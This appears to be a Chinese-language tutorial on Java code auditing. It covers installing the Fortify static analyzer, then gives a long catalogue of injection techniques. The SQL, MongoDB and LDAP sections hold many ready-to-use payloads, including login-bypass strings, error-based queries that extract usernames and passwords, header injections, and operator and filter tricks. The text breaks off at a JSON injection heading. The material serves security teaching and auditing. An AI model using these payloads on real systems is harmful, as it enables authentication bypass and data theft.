Java代码审计详解

一、Fortify代码审计工具

1、Fortify简介

Fortify是Micro Focus旗下AST (应用程序安全测试)产品 ,其产品组合包括:Fortify Static Code Analyzer提供静态代码分析器(SAST),Fortify WebInspect是动态应用安全测试软件(DAST),Software Security Center是软件安全中心(SSC)和 Application Defender 是实时应用程序自我保护(RASP)。

Fortify 能够提供静态和动态应用程序安全测试技术,以及运行时应用程序监控和保护功能。为实现高效安全监测,Fortify具有源代码安全分析,可精准定位漏洞产生的路径,以及具有1分钟1万行的扫描速度。

Fortify SCA 支持丰富的开发环境、语言、平台和框架,可对开发与生产混合环境进行安全检查。 27 种编程语言 超过 911,000 个组件级 API 可检测超过 961 个漏洞类别 支持所有主流平台、构建环境和 ID。

  • 对开发人员友好的语言覆盖范围 – 支持 ABAP/BSP、ActionScript、Apex、ASP.NET、C# (.NET)、C/C++、Classic ASP(含 VBScript)、COBOL、ColdFusion CFML、Go、HTML、Java(包括 Android)、JavaScript/AJAX、JSP、Kotlin、MXML(Flex)、Objective C/C++、PHP、PL/SQL、Python、Ruby、Swift、T-SQL、VB.NET、VBScript、Visual Basic 和 XML
  • 支持的 IDE – Eclipse、IntelliJ Ultimate、IntelliJ Community Android Studio、IBM Rational Application Developer、IBM Rational Software Architect、Microsoft Visual Studio
  • 支持的构建工具 – Ant、Jenkins、Maven、MSBuild、Xcodebuild
  • 支持的缺陷管理平台 – Jira、ALM、Bugzilla
  • 支持的代码管理工具 – Git、SVN、TFS
  • 漏洞覆盖范围,包括 1000 多个 SAST 漏洞分类,以确保符合 OWASP Top 10、CWE/SANS Top 25、DISA STIG 和 PCI DSS 等标准。
  • 安全代码规则最全面,安全漏洞检查最彻底。目前包括150多种类别的安全漏洞,其安全代码规则多达50000多条。

产品组成如下:

1. Fortify Source Code Analysis Engine(源代码分析引擎)
采用数据流分析引擎,语义分析引擎,结构分析引擎,控制流分析引擎,配置分析引擎和特有的X-Tier跟踪器从不同的方面查看代码的安全漏洞,最大化降低代码安全风险。

2. Fortify Secure Code rules:Fortify(软件安全代码规则集)
采用国际公认的安全漏洞规则和众多软件安全专家的建议,辅助软件开发人员、安全人员和管理人员快速掌握软件安全知识、识别软件安全漏洞和修复软件安全漏洞。其规则的分类和定义被众多国际权威机构采用,包括美国国土安全(CWE)标准、OWASP,PCI。。。等。

3. Fortify Audit Workbench (安全审计工作台)
辅助开发人员、安全审计人员对Fortify Source Code Analysis Engines(源代码分析引擎)扫描结果进行快速分析、查找、定位和区分软件安全问题严重级别。 

4. Fortify Rules Builder(安全规则构建器)
提供自定义软件安全代码规则功能,满足特定项目环境和企业软件安全的需要。

5.Fortify Source Code Analysis Suite plug in (Fortify SCA IDE集成开发插件)
Eclipse, WSAD, Visual Studio 集成开发环境中的插件,便于开发者在编写代码过程中可以直接使用工具扫描代码,立刻识别代码安全漏洞,并立即根据建议修复,消除安全缺陷在最初的编码阶段,及早发现安全问题,降低安全问题的查找和修复的成本。 

产品功能:

1)源代码安全漏洞的扫描分析功能

1.独特的数据流分析技术,跟踪被感染的、可疑的输入数据,直到该数据被不安全使用的全过程,并跨越整个软件的各个层次和编程语言的边界。
2.独特的语义分析技术发现易于遭受攻击的语言函数或者过程,并理解它们使用的上下文环境,并标识出使用特定函数或者过程带来的软件安全的隐患
3.独特的控制流分析技术精确地跟踪业务操作的先后顺序,发现因代码构造不合理而带来的软件安全隐患。
4.独特的配置流分析技术分析软件的配置和代码的关系,发现在软件配置和代码之间,配置丢失或者不一致而带来的安全隐患
5.独特的代码结构分析技术从代码的结构方面分析代码,识别代码结构不合理而带来的安全弱点和问题。
6.自定义安全代码规则功能。

2)源代码安全漏洞的审计功能

1.安全漏洞扫描结果的汇总和问题优先级别划分功能。
2.安全审计自动导航功能
3.安全问题定位和问题传递过程跟踪功能。
4.安全问题查询和过滤功能。
5.安全问题审计结果、审计类别划分和问题旁注功能。
6.安全问题描述和推荐修复建议。

2、下载安装

1. 下载 

链接:百度网盘 请输入提取码
提取码:qwxi

2. 安装

将下载的压缩包解压(解压后如下图):

Java代码审计详解_第1张图片

双击Fortify_SCA_and_Apps_19.1.0_windows_x64.exe进行安装。 

弹出安装导向,点击Next:

选择“I accept the agreement”后,点击Next:

Java代码审计详解_第2张图片

选择一个安装目录,点击Next:

 Java代码审计详解_第3张图片

选择安装的模块,点击Next:

 Java代码审计详解_第4张图片

读取Fortify中的fortify.license文件,点击Next:

 Java代码审计详解_第5张图片

设置更新服务器,点击Next:

 Java代码审计详解_第6张图片

SCA Migration(移除之前版本)页面选择No,点击Next:

 Java代码审计详解_第7张图片

Samples页面选择Yes,点击Next: 

Java代码审计详解_第8张图片

Ready to Install(准备安装)页面,点击Next:

 Java代码审计详解_第9张图片

Finish:

 Java代码审计详解_第10张图片

3、Fortify面板介绍

Java代码审计详解_第11张图片

问题面板:

Java代码审计详解_第12张图片

 数据流面板:

Java代码审计详解_第13张图片

4、Fortify使用 

将安装包中的规则复制到安装目录Core\config\文件夹下:

Java代码审计详解_第14张图片

Java代码审计详解_第15张图片

打开Fortify,两种方式:

方式一:进入安装目录,打开bin文件夹,双击auditworkbench.cmd:

Java代码审计详解_第16张图片

方式二:在win开始菜单中,双击Audit Workbench: 

Java代码审计详解_第17张图片

选择静态代码所在目录,进行扫描:

Java代码审计详解_第18张图片

如果扫的是比较大的一些项目,代码文件比较大,可以选择拆开一个文件夹一个文件夹的去扫,这样也会快一点:

Java代码审计详解_第19张图片

点击Next: 

Java代码审计详解_第20张图片

点击configure rulepacks选择要扫描的选项,根据自己的情况而定:

Java代码审计详解_第21张图片

Java代码审计详解_第22张图片

选择配置内存大小,扫码过程中常见的情况是内存不足导致带不动,可以考虑换台配置高的或者增加虚拟内存大小:

Java代码审计详解_第23张图片

Java代码审计详解_第24张图片

根据情况而选定: 

Java代码审计详解_第25张图片

接下来点击scan即可进行扫描: 

Java代码审计详解_第26张图片

扫描完成,点击OK,就可以查看报告了:

Java代码审计详解_第27张图片

可以点击选择结果查看问题,会自动定位到有问题的代码位置:

Java代码审计详解_第28张图片

也可以通过属性查看问题详情:

Java代码审计详解_第29张图片

Java代码审计详解_第30张图片

点击Reports可将报告导出到本地,可选择导出的内容和样式:

Java代码审计详解_第31张图片

二、SQL注入漏洞

1、SQL注入简介

​ SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

​ Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

2、SQL注入产生原因及威胁

当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

SQL注入带来的威胁主要有如下几点:

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

3、SQL注入漏洞对于数据安全的影响

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

4、 SQL注入思想

1. 找到注入点:判断是否有漏洞,寻找插入位置。

2. 构造注入语句,并在注入点注入形成新的SQL语句。

3. 新形成的SQL语句提交数据库处理。

4. 数据库执行新的SQL语句,引发注入攻击。

5、SQL注入分类及判断

基础sql语句:

select database(); #查看当前库名; 
select table_name from information_schema.tables where table_schema=database() 
; #查看当前库下的表名 
select column_name from information_schema.columns where table_schema=database() 
and table_name='user'; #查询列名 
select name,password from user; #获取用户名和密码列

1)按数据类型分类

① 数字型注入点

​ 在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为:

select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1

② 字符型注入点

​ 在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为:

select * from 表名 where name='admin'注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '

③ 搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:

select * from 表名 where 字段 like '%关键字%'`。
组合出来的sql注入语句为:
select * from news where search like '%测试 %' and '%1%'='%1%'
测试%' union select 1,2,3,4 and '%'='

2)按照数据提交的方式来分类

① GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

② POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,post提交方式主要适用于表单的提交,用于登录框的注入。

常用的万能username语句:

 a ’ or 1=1 #
 a ") or 1=1 #
 a‘) or 1=1 #
 a” or “1”=”1
 ' or '1'='1
 ' or (length(database())) = 8  (用于输入’ “都没有错误)
 ' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
 ") or ("1")=("1
 ") or 1=1 or if(1=1, sleep(1), null)  #
 ") or (length(database())) = 8 #
 ") or (ascii(substr((select database()) ,1,1))) = 115  or if(1=1, sleep(1), null)  #

post型盲注通杀payload:

uname=admin%df'or()or%200%23&passwd=&submit=Submit

③ Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。有报错信息可以利用报错注入。

④ HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

User-Agent注入:

User-Agent:1' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1

Referer 注入:

1' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

X-Forwarded-For注入

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用

String ip = request.getHeader("X-Forwarded-For")

进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip。

也可以是一些注入语句,如下:

X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)--
String sql = "select * from table where ip = '"+ip+"'";

构造X-Forwoarded-For头进行测试,http响应出现变化:

X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958--
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--

⑤ Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:

$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

3)按照执行效果来分类

① 基于布尔的盲注

即可以根据返回页面判断条件真假的注入。盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注:

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据:

?id=1' and length(database())>5--+
将>号掉个方向看结果有没有变化,来判断布尔盲注有没有用,后面就继续猜表名,列名,然后内容。
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

当前数据库database()的长度大于10,返回true页面,否则FALSE页面

报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)

② 基于时间的盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注:

select id,name from product where id=1 and sleep(2)

③ 基于报错注入

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中:

根据报错信息'1'' LIMIT 0,1`分析SQL查询语句为select … from …where id='input'

concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字:

rand()

对任意正或者负的十进制值向下取整 :

floor()

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数。

常见的12种报错注入+万能语句为:

通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x7e,(select user()),0x7e),1))
通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

为了使结构能够更方便的查看,可以在concat()中添加一些内容:

?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 

and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 

之后还是将select语句改为一般的注入语句就可以:

爆数据库名:?id=2' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

爆表名:?id=2' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

爆列名:?id=2' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

爆数据:?id=2' and (select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

?id=1' and (select 1 from (select count(*),concat((Select concat_ws(0x3a,username,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

不能使用group_concat函数时,使limit语句来限制查询结果的列数。

updatexml报错注入:

爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

④ 联合查询注入

可以使用union的情况下的注入。

⑤ 二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

注入步骤:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

⑥ 堆查询注入

可以同时执行多条语句的执行时的注入。

在SQL中,分号(;)是用来表示一条sql语句的结束,堆叠注入可以执行任何人sql语句。但是当API或数据库引擎的不支持,堆叠注入就不能进行啦。

4)其他类型注入

① Access偏移注入

偏移注入是access比较独有的一种注入手段,很有特点的注入方式,一般用于在猜出了表名但是没有猜出列名的情况下使用。

**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。

**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。

利用条件:

1、知道表名
2、任意字段(一般access会有一个id字段。)

偏移注入的流程:

1、 判断字段数

2、 判断表名

3、 开始偏移注入

1、判断注入点

127.0.0.1/asp/index.asp?id=1513 and 1=1 正常 

127.0.0.1/asp/index.asp?id=1513 and 1=2 错误

2、查询字段个数

127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误

3、爆出显位

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

4、判断表内存在的字段个数

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误

直到…

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确

说明了admin表下有6个字段;

用""代表 admin 表的字段数,计算代替字符的位数。

5、爆列名数据

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a

偏移注入的基本公式为:

​ order by 出的字段数减去号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案。

② MongoDB 注入

简介:MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。

MongoDB 与几乎支持相同语法的SQL数据库相反,NoSQL数据库具有不同的语法。

实现MongoDB 注入:

在登录时,如果是mysql这种关系型的数据库,我们可以构造真值等式来绕过。如 or 1=1。 在nosql中同样可以,nosql中的 || 1==1 相当于在sql中的 or 1=1 。 那么我们可以这样绕过:

username=fujieace' || 1==1 //

在攻击前,我们需要先建立一个集合,作为攻击的基础。

用户test是攻击者已经知道账号密码的一个测试账号,其他账号的话密码随机。想通过注入获取其他账号的密码。

1. 数组绑定时的注入

一个数组绑定的查询demo如下:

#!php
myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
        'username'=>$username,
        'password'=>$password
        );
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
    foreach ($data as $user) {
        echo 'username:'.$user['username']."
"; echo 'password:'.$user['password']."
"; } } else{ echo '未找到'; } ?>

此时的攻击利用了php可以传递数组参数的一个特性。

当传入的url为:

http://127.0.0.1/2.php?username=test&password=test

执行了语句:

db.test.find({username:‘test’,password:‘test’});

如果此时传入的url如下:

http://127.0.0.1/2.php?username[xx]=test&password=test

则$username就是一个数组,也就相当于执行了php语句:

#!php
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');

此时的攻击利用了php可以传递数组参数的一个特性。

当传入的url为:

http://127.0.0.1/2.php?username=test&password=test

执行了语句:

db.test.find({username:'test',password:'test'});

如果此时传入的url如下:

http://127.0.0.1/2.php?username[xx]=test&password=test

则$username就是一个数组,也就相当于执行了php语句:

#!php
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');

而mongodb对于多维数组的解析使最终执行了如下语句:

db.test.find({username:{'xx':'test'},password:'test'});

利用此特性,我们可以传入数据,是数组的键名为一个操作符(大于,小于,等于,不等于等等),完成一些攻击者预期的查询。

如,传入url:

http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test

因为传入的键名$ne正是一个mongodb操作符,最终执行了语句:

db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});

这句话相当于sql:

select * from test where username!='test' and password!='test';

如果此时的用户名与密码不能回显,只是返回一个逻辑上的正误判断。

那么我们可以采用$regex操作符来一位一位获取数据。

2. 拼接字符串时的注入

攻击方式:

http://127.0.0.1/1.php?username=test'&password=test

报错。 想办法闭合语句。

http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test

该语句能返回一个数组,username键值是1,password键值是2.

爆mongodb版本:

http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test

爆所有集合名。

因为db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写。

爆test集合的第一条数据:

http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test

爆test集合的第二条数据:

因为execute方法支持多语句执行,所以可以执行太多语句了,不演示~

当然,有时可能遇到没有输出返回数据,这时候怎么办呢?

在高版本下,添加了一个函数sleep(),就是时间盲注咯~

在高版本下,貌似不能用注释语句,此外高版本还有一个新特性就是默认开启错误回显。笔者尝试没有注释成功,只能用闭合的方法。

http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test

③ LDAP注入

1. LDAP介绍

​ LDAP不定义客户端和服务端的工作方式,但会定义客户端和服务端的通信方式,另外,LDAP还会定义LDAP数据库的访问权限及服务端数据的格式和属性。LDAP有三种基本的通信机制:没有处理的匿名访问;基本的用户名、密码形式的认证;使用SASL、SSL的安全认证方式。LDAP和其他一些协议走的是同一个套路,基于tcp/ip协议通信,注重服务的可用性、信息的保密性等等,除此之外还要回到那个最原始的问题:信任,当然信息安全的本质问题就是信任的问题。部署了LDAP的应用不会直接访问,目录中的内容,一般通过函数调用或者API,应用可以通过定义的C、Java的API进行访问,Java应用的访问方式为JNDI(Java Naming and Directory Interface)。

LDAP的URL形式为:

ldap://:/:[?[??]]
例如: ldap://austin.ibm.com/ou=Austin,o=IBM    ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)

看得出来在URL中这里使用逗号分隔查询,而数据库查询则使用’&'号,这是LDAP特有的,另外这里o表示组织(organization),u表示单元(unit),cn表示country name。

LDAP注入攻击和SQL注入攻击相似,因此接下来的想法是利用用户引入的参数生成LDAP查询。一个安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

测试一个应用是否存在代码注入漏洞典型的方法是向服务器发送会生成一个无效输入的请求。因此,如果服务器返回一个错误消息,攻击者就能知道服务器执行了他的查询,他可以利用代码注入技术。回想一下之前讨论的,我们可以将注入环境分为两种:AND注入环境和OR注入环境。

2. LDAP注入攻击

AND LDAP注入

这种情况,应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:

(&(parameter1=value1)(parameter2=value2))

这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。

3. 绕过访问控制

一个登陆页有两个文本框用于输入用户名和密码,过滤器如下:

(&(USER=Uname)(PASSWORD=Pwd)) 

如果攻击者输入一个有效地用户名,如r00tgrok,然后再这个名字后面注入恰当的语句,password检查就会被绕过。输入Uname=slisberger)(&)),得到如下:

(&(USER= slisberger)(&)(PASSWORD=Pwd))

LDAP服务器只处理第一个过滤器,即仅查询(&(USER=slidberger)(&))得到了处理。这个查询永真,故成功绕过

4. 权限提升

现假设下面的查询会向用户列举出所有可见的低安全等级文档:

(&(directory=document)(security_level=low)) 

这里第一个参数document是用户入口,low是第二个参数的值。如果攻击者想列举出所有可见的高安全等级的文档,他可以利用如下的注入:document)(security_level=*))(&(directory=documents
得到:

(&(directory=documents)(security_level=*))(&(direcroty=documents)(security_level=low))

LDAP服务器仅会处理第一个过滤器而忽略第二个,因而只有下面的查询会被处理:

(&(directory=documents)(security_level=*))

结果就是,所有安全等级的可用文档都会列举给攻击者

  • OR注入

这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:

(|(parameter1=value1)(parameter2=value2))

这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。

具体的注入方式和AND差不太多

5. LDAP盲注

AND盲注

假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:

(&(objectClass=printer)(type=Epson*))

正确的过滤器为:

(&(objectClass=printer)(type=Epson*))

而当注入***)(objectClass=*))(&(objectClass=void**时得到:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))

执行第一个,过滤器objectClass=*总是返回一个对象。当图标被显示时响应为真,否则为假。
这样我们就可以猜第二个括号的objectclass字段有些什么内容了。
LDAP盲注技术让攻击者使用基于TRUE/FALSE的技术访问所有的信息。

① OR盲注

这种情况下,用于推测想要的信息的逻辑与AND是相反的,因为使用的是OR逻辑操作符。同样不予详述。

② 盲注深入

攻击者可以使用字母、数字搜索提取属性的值,这个想法的关键在于将一个复杂的值转化为TRUE/FALSE列表。这个机制,通常称为booleanization,大意是二值化吧,图十二概括了该机制,可用于不同的方式。

假设攻击者想知道department属性的值,处理如下:

(&(idprinter=HPLaserJet2100)(department=a*))(object=printer))
(&(idprinter=HPLaserJet2100)(department=f*))(object=printer))
(&(idprinter=HPLaserJet2100)(department=fa*))(object=printer))

如此根据返回的不同结果猜解是否正确,和MYSQL盲注类似。

同样,攻击者可以使用字符集削减技术减少获得信息所需的请求数,为完成这一点,他使用通配符测试给定的字符在值中是否为anywhere

(&(idprinter=HPLaserJet2100)(department=*b*))(object=printer))
(&(idprinter=HPLaserJet2100)(department=*n*))(object=printer))

这样子可以看department中是否有b和n,巧用可以加速猜解过程,当然一般肯定都是写脚本猜解

6. 防御LDAP注入

总而言之,我们看到圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核对。正则表达式替换掉就可以了。

④ JSON注入

1. 简介

JSON是一种轻量级的数据交换格式,易于阅读和编写,同时也易于机器解析和生成。它是基于JavaScript的一个子集,JSON采用完全独立于语言的文本格式,但是也使用类似于C语言家族的习惯(C、C#、C++、Java、JavaScript、Perl、Python等都可以使用JSON),这些特性使JSON成为理想的数据交换语言。

JSON可以将JavaScript中的对象转换为字符串,然后在函数、网络之间传递这个字符串。

JSON建构于两种结构:

①“名称/值”对的集合。不同的语言中,它被理解为对象(object),纪录(record),结构(struct),字典(dictionary),哈希表(hash table),有键列表(keyed list),或者关联数组 (associative array)。

②值的有序列表。在大部分语言中,它被理解为数组(array)。

例如:下面一段示例使JSON最简单的Key-Value示例(名称-值对,键值对):

{"Username":"xsser"}
{"Username":"xsser","Password":"12345","Email":"[email protected]"}

当需要表示一组值的时候,JSON不但能够提供高可读性,而且可以减少复杂性。
例如表示一个管理员表,在JSON中,如下:
{"Users":[
	{"Username":"zhangsan","Password":"12345","Email":"[email protected]"}
	{"Username":"lisi","Password":"123123","Email":"[email protected]"}
	{"Username":"wangwu","Password":"321321","Email":"[email protected]"}
]  }

2. JSON注入

